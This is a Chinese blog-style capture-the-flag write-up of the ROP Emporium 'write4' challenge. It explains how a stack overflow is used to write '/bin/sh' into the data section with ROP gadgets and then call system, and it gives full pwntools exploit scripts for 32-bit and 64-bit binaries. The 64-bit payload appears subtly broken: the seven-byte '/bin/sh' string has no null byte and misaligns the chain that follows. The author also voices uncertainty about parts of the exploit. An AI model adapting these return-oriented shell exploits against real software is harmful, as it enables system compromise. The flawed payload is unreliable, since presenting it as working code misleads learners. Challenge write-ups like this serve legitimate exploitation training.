4_write4

1.观察有没有system没有/bin/sh ,我们可以尝试想bss或者date段写入/bin/sh.,使用plt表的system
2.mov [edi], ebp-MOV 内存单元 寄存器
寄存器ESI、EDI、SI和DI称为变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。

思考:为什么有一个system函数,不讲/bin/sh传入data段里面,然后调用这个函数完成调用?
32
# -*- coding:UTF-8 -*-
from pwn import*
##context.log_level = 'debug'
p  = process("./write432")
##p = remote("","")

date_addr = 0x804A028
system_elf_addr = 0x8048430
move_edi_ebp_addr = 0x8048670
pop_edi_ebp_addr = 0x80486da

payload = 'A'*0x2c
payload += p32(pop_edi_ebp_addr) + p32(date_addr) + "/bin" + p32(move_edi_ebp_addr)
payload += p32(pop_edi_ebp_addr) + p32(date_addr+4) + "/sh\x00" + p32(move_edi_ebp_addr)
payload += p32(system_elf_addr) + p32(0) + p32(date_addr)

p.sendline(payload)
p.interactive()




首先我们是发现了 溢出的漏洞  我们没有可以利用sysytem入口  也没有/bin/sh的字符串。  
 只有system_plt的地址  我们需要传入/bin/sh让我们利用,  
 将利用godget片段 传入edi>然后跳转到edi利用,
我们需要一个介质来装载/bin/sh  就是我们的date_addr

#p32(0)  是用来覆盖rbp的地址  (自己有疑惑)


这道题填入和调用没什么大问题,最关键的要记住,64位的数据不是直接传入栈里面的,我们需要一个pop来将我们的system和/bin/sh的地址接收。

64

from pwn import*
##context.log_level = 'debug'
p  = process("./write4")
##p = remote("","")
date_addr = 0x601050
system_plt_addr = 0x4005e0
pop_r14_r15_addr = 0x400890
mov_r14_r15_addr = 0x400820
pop_edi_addr = 0x400893

payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15_addr)
payload += p64(date_addr)
payload += "/bin/sh"
payload += p64(mov_r14_r15_addr)
payload += p64(pop_edi_addr)
payload += p64(date_addr)
payload += p64(system_plt_addr)

p.sendline(payload)
p.interactive()
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 爱情总是想象比现实美丽,相逢如是,告别亦如是。我们以为爱得很深、很深...来日岁月,会让你知道,它不过很浅、很浅....
    米夏说阅读 308评论 0赞 0
  • 经过上期我们对沙僧有了多方面的探索,本期小梁又要带给我们一个全新的观点,保证你做梦都想不到。 唐僧,相...
    伪文艺的俏小生阅读 295评论 0赞 0

友情链接更多精彩内容